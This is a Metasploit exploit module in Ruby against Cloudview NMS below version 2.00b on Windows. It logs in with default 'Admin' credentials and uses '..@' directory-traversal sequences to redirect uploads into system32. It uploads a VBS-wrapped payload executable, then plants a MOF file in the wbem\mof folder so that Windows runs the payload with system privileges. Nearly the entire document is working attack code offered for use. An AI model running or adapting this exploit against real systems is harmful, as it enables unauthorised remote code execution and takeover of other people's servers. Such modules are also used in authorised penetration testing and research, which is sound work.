Cloudview NMS < 2.00b - Arbitrary File Upload (Metasploit)

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cloudview NMS File Upload',
			'Description'    => %q{
				This module exploits a file upload vulnerability
				found within Cloudview NMS < 2.00b. The vulnerability
				is triggered by sending specialized packets to the
				server with directory traversal sequences (..@ in
				this case) to browse outside of the web root.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', '0day' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Cloudview NMS 2.00b on Windows', {} ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 13 2014'))

		register_options([
			Opt::RPORT(80),
			OptString.new('USERNAME', [ true, "The username to log in with", "Admin" ]),
			OptString.new('PASSWORD', [ false, "The password to log in with", "" ])
		], self.class )
	end

	def exploit

		# setup
		vbs_name	= rand_text_alpha(rand(10)+5) + '.vbs'
		exe			= generate_payload_exe
		vbs_content	= Msf::Util::EXE.to_exe_vbs(exe)
		mof_name	= rand_text_alpha(rand(10)+5) + '.vbs'
		mof			= generate_mof(mof_name, vbs_name)
		peer		= "#{datastore['RHOST']}:#{datastore['RPORT']}"

		print_status("Uploading #{vbs_name} to #{peer}...")

		# logging in to get the "session"
		@sess = rand(0..2048)
		res = send_request_cgi({
			'method'	=>	'POST',
			'uri'		=>	"/MPR=#{@sess}:/",
			'version'	=>	'1.1',
			'ctype'		=>	'application/x-www-form-urlencoded',
			'data'		=>	"username=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&mybutton=Login%21&donotusejava=html"
		})

		# This is needed to setup the upload directory
		res = send_request_cgi({
			'method'	=> 'GET',
			'uri'		=> "/MPR=#{@sess}:/descriptor!ChangeDir=C:@..@..@..@WINDOWS@system32@!-!-!@extdir%5Cfilelistpage!-!1000",
			'version'	=> '1.1',
		})

		# Uploading VBS file
		data = Rex::MIME::Message.new
		data.add_part("#{vbs_content}", "application/octet-stream", nil, "form-data; name=\"upfile\"; filename=\"#{vbs_name}\"")
		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

		res = send_request_cgi({
			'method'	=>	'POST',
			'uri'		=>	"/MPR=#{@sess}:/",
			'version'	=>	'1.1',
			'ctype'		=>	"multipart/form-data; boundary=#{data.bound}",
			'data'		=>	post_data
		})

		if res.body =~ /Uploaded file OK/
			print_good("Uploaded #{vbs_name} successfully!")
			print_status("Uploading #{mof_name} to #{peer}...")

			# Setting up upload directory
			res = send_request_cgi({
				'method'	=>	'GET',
				'uri'		=>	"/MPR=#{@sess}:/descriptor!ChangeDir=C:@..@..@..@WINDOWS@system32@wbem@mof@!-!-!@extdir%5Cfilelistpage!-!1000",
				'version'	=>	'1.1'
			})

			# Uploading MOF file
			data = Rex::MIME::Message.new
			data.add_part("#{mof}", "application/octet-stream", nil, "form-data; name=\"upfile\"; filename=\"#{mof_name}\"")
			post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

			res = send_request_cgi({
				'method'	=>	'POST',
				'uri'		=>	"/MPR=#{@sess}:/",
				'version'	=>	'1.1',
				'ctype'		=>	"multipart/form-data; boundary=#{data.bound}",
				'data'		=>	post_data
			})

			if res.body =~ /Uploaded file OK/
				print_good("Uploaded #{mof_name} successfully!")
			else
				print_error("Something went wrong...")
			end
		else
			print_error("Something went wrong...")
		end

	end

end